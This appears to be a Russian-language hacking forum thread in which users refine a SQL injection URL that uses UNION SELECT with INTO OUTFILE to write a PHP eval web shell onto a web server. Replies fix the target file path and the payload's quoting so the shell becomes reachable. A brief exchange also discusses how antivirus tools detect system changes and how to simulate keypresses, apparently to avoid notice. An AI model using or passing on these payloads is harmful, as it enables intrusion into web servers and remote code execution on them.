http://localhost/view_cat.php?cat=-1+union+select+1,'<?php eval($_GET[‘sql‘])?>',3,4,5,6,7,8,9+INTO+OUTFILE+'file://localhost/C:/shell.php'

если все верно,шел доступен по адресу
http://localhost/shell.php

Я правильно понимаю?
Запрос Верно составлен?

Нет , Локальный путь, то что ты видишь в проводнике(или что там у тебя), а не в браузере. И доступен он будет там куда ты его положишь.

Тоесть (например для денвера)
http://localhost/ ------- это Z:\home\localhost\www\

Льём
INTO+OUTFILE+'Z:\home\localhost\www\shell.php'

доступен:
http://localhost/shell.php

l1ght

нет не хочет почему то

А можно объяснить, почему он так будет говорить? Что именно антивирусу не понравится? Я к примеру запускаю бат и не ругается, вношу изменения в реестр и тоже тишина

Каспер фиксирует даже минимальные изминения в системе,находит прогу,которой вызваны изменения и опредиляет её как вредоносную, иль трояна.

ну а как можно сделать чтобы кнопка enter нажималась програмно? если можно поподробней
и чеита у меня на каждое изменение в системе нпомалкивает нод 32??

2Neponomat а ключ /s не катит?)

http://localhost/view_cat.php?cat=-1+union+select+1,'<?php eval($_GET['sql'])?>',3,4,5,6,7,8,9+INTO+OUTFILE+'Z:\shell.php'

что-то опять не так делаю,может закодировать?

kevmen, "<?php eval($_GET['sql'])?>" или '<?php eval($_GET["sql"])?>' или '<?php eval($_GET[sql])?>' и т.д.